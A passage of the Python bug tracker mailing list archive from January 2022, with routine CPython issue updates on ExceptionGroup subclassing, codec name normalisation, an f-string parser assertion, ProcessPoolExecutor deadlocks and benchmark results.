_______________________________________ From report at bugs.python.org Mon Jan 24 16:50:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 21:50:27 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643061027.61.0.203519421096.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: New changeset b18fd54f8c27e4b2aac222e75ac58aa85e5a7988 by Irit Katriel in branch 'main': bpo-46431: Add example of subclassing ExceptionGroup. Document the message and exceptions attributes (GH-30852) https://github.com/python/cpython/commit/b18fd54f8c27e4b2aac222e75ac58aa85e5a7988 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 16:50:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 21:50:58 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643061058.55.0.915483792794.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: Thank you Petr. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 17:10:20 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 24 Jan 2022 22:10:20 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1643042019.71.0.113151231289.issue46416@roundup.psfhosted.org> Message-ID: Nikita Sobolev added the comment: During this work some people have mentioned that they actually use `'__main__'` for local debugging of tests. I don't think that I am familiar enough with the existing workflow to make any educated decision :) ??, 24 ???. 2022 ?. ? 19:34, Christian Heimes : > > Christian Heimes added the comment: > > I noticed that you have been looking into the __main__ block of test > modules. Wouldn't it make more sense to just remove the __main__ and have > all tests go through regrtest? Everybody should use > > ./python -m regrtest test_typing > > or the Windows equivalent to run typing tests. > > ---------- > nosy: +christian.heimes > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 17:35:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 22:35:30 +0000 Subject: [issue39064] ValueError in zipfile.ZipFile In-Reply-To: <1576501122.43.0.655067405413.issue39064@roundup.psfhosted.org> Message-ID: <1643063730.59.0.518891530891.issue39064@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +29044 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30863 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 17:37:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 22:37:27 +0000 Subject: [issue39064] ValueError in zipfile.ZipFile In-Reply-To: <1576501122.43.0.655067405413.issue39064@roundup.psfhosted.org> Message-ID: <1643063847.58.0.694461847306.issue39064@roundup.psfhosted.org> Irit Katriel added the comment: It's easy enough to convert the exception type (see patch), but I don't know how to write a unit test for this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 17:42:04 2022 From: report at bugs.python.org (April King) Date: Mon, 24 Jan 2022 22:42:04 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643064124.02.0.347614010569.issue42982@roundup.psfhosted.org> April King added the comment: Django uses 390,000 iterations as of late 2021, as does the Python Cryptography project. We should be aligned with their recommendations, or at least a good deal closer than we are now. 390,000 actually makes it a conservative recommendation for key derivation, as that number of rounds takes ~133ms to compute on my M1 versus 36ms. Usually you're shooting for ~250ms. Being off by ~50% is probably okay, being off by this much is considerably worse. Anyways, I'd be happy to make such a PR if folks are amenable to it. ---------- nosy: +april _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 17:42:12 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 22:42:12 +0000 Subject: [issue31357] Expose `worker_target` and `workitem_cls` as arugments to customize `ThreadPoolExecutor` behaviour In-Reply-To: <1504656860.29.0.0624717482661.issue31357@psf.upfronthosting.co.za> Message-ID: <1643064132.01.0.0262894365304.issue31357@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 17:43:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 22:43:48 +0000 Subject: [issue32203] [ctypes] test_struct_by_value fails on android-24-arm64 In-Reply-To: <1512235574.32.0.213398074469.issue32203@psf.upfronthosting.co.za> Message-ID: <1643064228.88.0.263945089867.issue32203@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer being maintained. Please create a new issue if you are having this problem on a current version (>= 3.9) ---------- nosy: +iritkatriel resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 17:44:57 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 22:44:57 +0000 Subject: [issue32202] [ctypes] all long double tests fail on android-24-x86_64 In-Reply-To: <1512234593.69.0.213398074469.issue32202@psf.upfronthosting.co.za> Message-ID: <1643064297.65.0.855904850203.issue32202@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer being maintained. Please create a new issue if you are having this problem on a current version (>= 3.9) ---------- nosy: +iritkatriel resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:10:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 23:10:17 +0000 Subject: [issue38886] permissions too restrictive in zipfile.writestr In-Reply-To: <1574366501.85.0.0231007396061.issue38886@roundup.psfhosted.org> Message-ID: <1643065817.51.0.818984807761.issue38886@roundup.psfhosted.org> Irit Katriel added the comment: Closed issue23976 as duplicate of this. ---------- nosy: +iritkatriel type: behavior -> enhancement versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:13:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 23:13:13 +0000 Subject: [issue41209] Scripts Folder is Empty In-Reply-To: <1593910277.95.0.176606187377.issue41209@roundup.psfhosted.org> Message-ID: <1643065993.55.0.408457639534.issue41209@roundup.psfhosted.org> Irit Katriel added the comment: 3.8 is no longer maintained. Please create a new issue if you are having this problem with a current python version. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:26:00 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 23:26:00 +0000 Subject: [issue40735] test_nntplib depends on unreliable external servers In-Reply-To: <1590181665.98.0.604811088124.issue40735@roundup.psfhosted.org> Message-ID: <1643066760.47.0.0910173084358.issue40735@roundup.psfhosted.org> Irit Katriel added the comment: Following discussion with Zach and Victor: This is probably an issue with the external servers these tests used. The fix would be to rewrite the tests so that they don't rely on external infrastructure. ---------- nosy: +iritkatriel, vstinner, zach.ware title: test_nntplib: sporadic failures, NetworkedNNTP_SSLTests.test_with_statement -> test_nntplib depends on unreliable external servers type: behavior -> enhancement versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:28:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 23:28:15 +0000 Subject: [issue43545] Use LOAD_GLOBAL to set __module__ in class def In-Reply-To: <1616083438.62.0.932778825065.issue43545@roundup.psfhosted.org> Message-ID: <1643066895.35.0.895670155021.issue43545@roundup.psfhosted.org> Irit Katriel added the comment: Can you explain what the bug is with code to reproduce it? ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:29:14 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 24 Jan 2022 23:29:14 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643066954.59.0.766827953821.issue46503@roundup.psfhosted.org> Eric V. Smith added the comment: This triggers the same problem: f'\N ' ast.literal_eval() isn't needed. I think it's just the assert that's wrong, but I'm still checking. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:38:06 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 23:38:06 +0000 Subject: [issue11322] encoding package's normalize_encoding() function is too slow In-Reply-To: <1298649332.11.0.637901441206.issue11322@psf.upfronthosting.co.za> Message-ID: <1643067486.23.0.0655927122939.issue11322@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:48:19 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 23:48:19 +0000 Subject: [issue13011] Frozen programs require the original build directory in order to run. In-Reply-To: <1316483091.36.0.96391936283.issue13011@psf.upfronthosting.co.za> Message-ID: <1643068099.87.0.877515628483.issue13011@roundup.psfhosted.org> Irit Katriel added the comment: This seems very outdated, can we close it? ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:53:43 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Mon, 24 Jan 2022 23:53:43 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643068423.33.0.814871851255.issue46491@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- keywords: +patch pull_requests: +29045 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30864 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 18:57:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 23:57:01 +0000 Subject: [issue22045] Python make issue In-Reply-To: <1406117862.23.0.135696000898.issue22045@psf.upfronthosting.co.za> Message-ID: <1643068621.23.0.664830130236.issue22045@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:03:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 00:03:49 +0000 Subject: [issue26276] Inconsistent behaviour of PEP 3101 formatting between versions In-Reply-To: <1454499550.19.0.0724839464997.issue26276@psf.upfronthosting.co.za> Message-ID: <1643069029.36.0.387751276149.issue26276@roundup.psfhosted.org> Irit Katriel added the comment: Reproduced on 3.11. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:05:41 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 Jan 2022 00:05:41 +0000 Subject: [issue33205] GROWTH_RATE prevents dict shrinking In-Reply-To: <1522670151.04.0.467229070634.issue33205@psf.upfronthosting.co.za> Message-ID: <1643069141.39.0.455781575966.issue33205@roundup.psfhosted.org> Raymond Hettinger added the comment: Should this have been "filled*3" rather than "used*3"? The intent was to give a larger resize to dict that had a lot of dummy entries and a smaller resize to dicts without deletions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:12:22 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:12:22 +0000 Subject: [issue46508] codec name acceptance became way too lenient in 3.9 Message-ID: <1643069542.61.0.619122428664.issue46508@roundup.psfhosted.org> New submission from Gregory P. Smith : in 3.8 this was not a valid codec name: "?_?_?_iDnA" in 3.9 it gets treated as idna and triggers the punycode decoder when passed to bytes.decode(codec). Discovered by oss-fuzz. _Likely_ a consequence of https://bugs.python.org/issue37751 The consequences of this change are that anyone can stuff heinous strings into codec names and get a non-LookupError behavior out of them. Anywhere codecs can be part of user input this has many interesting potential negative consequences. <=3.8 gave `LookupError("unknown encoding: ...` ---------- keywords: 3.9regression messages: 411535 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: codec name acceptance became way too lenient in 3.9 type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:19:35 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:19:35 +0000 Subject: [issue37751] In codecs, function 'normalizestring' should convert both spaces and hyphens to underscores. In-Reply-To: <1564832053.37.0.298269063007.issue37751@roundup.psfhosted.org> Message-ID: <1643069975.64.0.855168041452.issue37751@roundup.psfhosted.org> Gregory P. Smith added the comment: https://bugs.python.org/issue46508 filed to track fixing the acceptance and use of garbage codec values regression that this caused. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:21:26 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:21:26 +0000 Subject: [issue37751] In codecs, function 'normalizestring' should convert both spaces and hyphens to underscores. In-Reply-To: <1564832053.37.0.298269063007.issue37751@roundup.psfhosted.org> Message-ID: <1643070086.02.0.96808661453.issue37751@roundup.psfhosted.org> Gregory P. Smith added the comment: (note: this might not be the true cause of that issue; though it sounds potentially related - I haven't investigated far enough yet) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:29:03 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:29:03 +0000 Subject: [issue37751] In codecs, function 'normalizestring' should convert both spaces and hyphens to underscores. In-Reply-To: <1564832053.37.0.298269063007.issue37751@roundup.psfhosted.org> Message-ID: <1643070543.45.0.226525306311.issue37751@roundup.psfhosted.org> Gregory P. Smith added the comment: note that Bodo's own followup issue about the breaking change for python-iconv was filed as https://bugs.python.org/issue44723 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:29:59 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:29:59 +0000 Subject: [issue44723] Codec name normalization breaks custom codecs In-Reply-To: <1627035539.3.0.918716906127.issue44723@roundup.psfhosted.org> Message-ID: <1643070599.61.0.179081530934.issue44723@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:36:47 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:36:47 +0000 Subject: [issue32958] socket module calls with long host names can fail with idna codec error In-Reply-To: <1519674755.43.0.467229070634.issue32958@psf.upfronthosting.co.za> Message-ID: <1643071007.7.0.121538797792.issue32958@roundup.psfhosted.org> Gregory P. Smith added the comment: ablack: the basic auth username:password@ part of the string is not part of a hostname. What code are you seeing that is trying to send that to a name resolver rather than stripping the obviously private info up through the @ sign? ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 19:37:48 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 00:37:48 +0000 Subject: [issue46508] codec name acceptance became way too lenient in 3.9 In-Reply-To: <1643069542.61.0.619122428664.issue46508@roundup.psfhosted.org> Message-ID: <1643071068.14.0.909893647552.issue46508@roundup.psfhosted.org> Gregory P. Smith added the comment: while figuring this issue out, it may also make sense to address https://bugs.python.org/issue44723 as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 20:06:10 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 25 Jan 2022 01:06:10 +0000 Subject: [issue46504] Faster code for trial quotient in x_divrem In-Reply-To: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org> Message-ID: <1643072770.27.0.058050691352.issue46504@roundup.psfhosted.org> Tim Peters added the comment: New changeset 7c26472d09548905d8c158b26b6a2b12de6cdc32 by Tim Peters in branch 'main': bpo-46504: faster code for trial quotient in x_divrem() (GH-30856) https://github.com/python/cpython/commit/7c26472d09548905d8c158b26b6a2b12de6cdc32 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 20:06:10 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 25 Jan 2022 01:06:10 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1643072770.17.0.847089236077.issue46406@roundup.psfhosted.org> Tim Peters added the comment: New changeset 7c26472d09548905d8c158b26b6a2b12de6cdc32 by Tim Peters in branch 'main': bpo-46504: faster code for trial quotient in x_divrem() (GH-30856) https://github.com/python/cpython/commit/7c26472d09548905d8c158b26b6a2b12de6cdc32 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 20:07:14 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 25 Jan 2022 01:07:14 +0000 Subject: [issue46504] Faster code for trial quotient in x_divrem In-Reply-To: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org> Message-ID: <1643072834.09.0.716791752827.issue46504@roundup.psfhosted.org> Change by Tim Peters : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 20:55:56 2022 From: report at bugs.python.org (Inada Naoki) Date: Tue, 25 Jan 2022 01:55:56 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used In-Reply-To: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> Message-ID: <1643075756.71.0.808162651115.issue46464@roundup.psfhosted.org> Inada Naoki added the comment: > The only way to safely launch worker processes on demand is to spawn a worker launcher process spawned prior to any thread creation that remains idle, with a sole job of spawn new worker processes for us. That sounds complicated. That'd be a feature. Lets go with the bugfix first. fork is not the only way to launch worker process. We have spawn. And sapwn is the default for macOS since Python 3.8. Simple reverting seems not good for macOS users, since they need to pay cost for both of pre-spawning and spawn. Can't we just pre-spawn only when fork is used? ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:02:30 2022 From: report at bugs.python.org (Inada Naoki) Date: Tue, 25 Jan 2022 02:02:30 +0000 Subject: [issue44723] Codec name normalization breaks custom codecs In-Reply-To: <1627035539.3.0.918716906127.issue44723@roundup.psfhosted.org> Message-ID: <1643076150.03.0.520167902444.issue44723@roundup.psfhosted.org> Change by Inada Naoki : ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:25:09 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 02:25:09 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used In-Reply-To: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> Message-ID: <1643077509.28.0.348039124723.issue46464@roundup.psfhosted.org> Gregory P. Smith added the comment: It sounds like we need to introspect the mp_context= passed to ProcessPoolExecutor (and it's default when None) to raise an error when max_tasks_per_child is incompatible with it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:25:50 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 02:25:50 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643077550.59.0.461878635672.issue46503@roundup.psfhosted.org> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +29046 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30865 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:28:41 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 02:28:41 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used In-Reply-To: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> Message-ID: <1643077721.7.0.966170933046.issue46464@roundup.psfhosted.org> Gregory P. Smith added the comment: and similarly, the dynamic spawning could be kept when the mp_context is spawn (and possibly forkserver). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:36:18 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 02:36:18 +0000 Subject: [issue44733] Feature request: maxtasksperchild for ProcessPoolExecutor In-Reply-To: <1627128881.56.0.324294431588.issue44733@roundup.psfhosted.org> Message-ID: <1643078178.54.0.827416721161.issue44733@roundup.psfhosted.org> Gregory P. Smith added the comment: from discussion on the other bug it looks like we should have a way to keep this; we just need to not allow it when the mp_context to be used is the 'fork' one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:42:06 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 25 Jan 2022 02:42:06 +0000 Subject: [issue44733] Feature request: maxtasksperchild for ProcessPoolExecutor In-Reply-To: <1627128881.56.0.324294431588.issue44733@roundup.psfhosted.org> Message-ID: <1643078526.12.0.216833599415.issue44733@roundup.psfhosted.org> Gregory P. Smith added the comment: As this is a new feature, it would also be reasonable to have specifying max_tasks_per_child without explicitly specifying a mp_context default to a safe mp_context. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:44:26 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 02:44:26 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643078666.24.0.364870358522.issue46503@roundup.psfhosted.org> Eric V. Smith added the comment: Note that f'\N ' (with a single space) isn't enough to trigger this behavior. It requires at least two characters after the '\N'. The first is when the invalid string is recognized, and it's the presence of the second character that triggers the failed assert. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:53:37 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 02:53:37 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643079217.65.0.778984713109.issue46503@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +29047 pull_request: https://github.com/python/cpython/pull/30866 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:53:38 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 02:53:38 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643079218.4.0.438264642283.issue46503@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 0daf72194bd4e31de7f12020685bb39a14d6f45e by Eric V. Smith in branch 'main': bpo-46503: Prevent an assert from firing when parsing some invalid \N sequences in f-strings. (GH-30865) https://github.com/python/cpython/commit/0daf72194bd4e31de7f12020685bb39a14d6f45e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 21:53:42 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 02:53:42 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643079222.6.0.113185056648.issue46503@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29048 pull_request: https://github.com/python/cpython/pull/30867 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 22:08:50 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 03:08:50 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643080130.34.0.535694190601.issue46503@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset c314e3e829943b186e1c894071f00c613433cfe5 by Miss Islington (bot) in branch '3.9': bpo-46503: Prevent an assert from firing when parsing some invalid \N sequences in f-strings. (GH-30865) (30867) https://github.com/python/cpython/commit/c314e3e829943b186e1c894071f00c613433cfe5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 22:13:19 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 03:13:19 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643080399.01.0.676195452315.issue46503@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 894e8c13484822458d53cc77c9265b7a88450a4b by Miss Islington (bot) in branch '3.10': bpo-46503: Prevent an assert from firing when parsing some invalid \N sequences in f-strings. (GH-30865) (GH-30866) https://github.com/python/cpython/commit/894e8c13484822458d53cc77c9265b7a88450a4b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 22:14:13 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 03:14:13 +0000 Subject: [issue46503] assertion failure in Parser/string_parser.c In-Reply-To: <1643049042.78.0.52932917864.issue46503@roundup.psfhosted.org> Message-ID: <1643080453.53.0.848178198243.issue46503@roundup.psfhosted.org> Change by Eric V. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 23:17:17 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 04:17:17 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1643084237.99.0.63169265857.issue41841@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29049 pull_request: https://github.com/python/cpython/pull/30868 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 23:28:44 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 04:28:44 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1643084924.98.0.291014494385.issue41841@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- superseder: IDLE subsection of What's New 3.11 -> idlelib/NEWS.txt for 3.11.0 and backports _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 23:48:44 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 04:48:44 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1643086124.37.0.39063564123.issue41841@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 9d3c9788a6ccd4f2f53a147dd0026a316c396976 by Terry Jan Reedy in branch 'main': bpo-41841: update idlelib News up to 3.10.0. (GH-30868) https://github.com/python/cpython/commit/9d3c9788a6ccd4f2f53a147dd0026a316c396976 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 23:48:49 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 04:48:49 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1643086129.66.0.288619896404.issue41841@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +29050 pull_request: https://github.com/python/cpython/pull/30870 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 00:00:03 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 05:00:03 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1643086803.98.0.18018860387.issue41841@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29051 pull_request: https://github.com/python/cpython/pull/30871 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 00:27:08 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 25 Jan 2022 05:27:08 +0000 Subject: [issue46509] Type-specialized Py_DECREF Message-ID: <1643088428.44.0.826862328466.issue46509@roundup.psfhosted.org> New submission from Dennis Sweeney : GCC --enable-optimizations --with-lto on WSL: Slower (7): - json_dumps: 12.8 ms +- 0.2 ms -> 13.1 ms +- 0.3 ms: 1.02x slower - meteor_contest: 106 ms +- 2 ms -> 109 ms +- 3 ms: 1.02x slower - telco: 6.50 ms +- 0.17 ms -> 6.58 ms +- 0.18 ms: 1.01x slower - fannkuch: 383 ms +- 5 ms -> 388 ms +- 8 ms: 1.01x slower - regex_compile: 143 ms +- 2 ms -> 145 ms +- 4 ms: 1.01x slower - mako: 11.1 ms +- 0.1 ms -> 11.2 ms +- 0.2 ms: 1.01x slower - chameleon: 7.08 ms +- 0.07 ms -> 7.12 ms +- 0.10 ms: 1.01x slower Faster (27): - unpack_sequence: 45.9 ns +- 1.1 ns -> 41.6 ns +- 1.0 ns: 1.10x faster - logging_silent: 108 ns +- 11 ns -> 101 ns +- 3 ns: 1.06x faster - nbody: 95.6 ms +- 3.2 ms -> 90.2 ms +- 1.9 ms: 1.06x faster - spectral_norm: 98.3 ms +- 2.3 ms -> 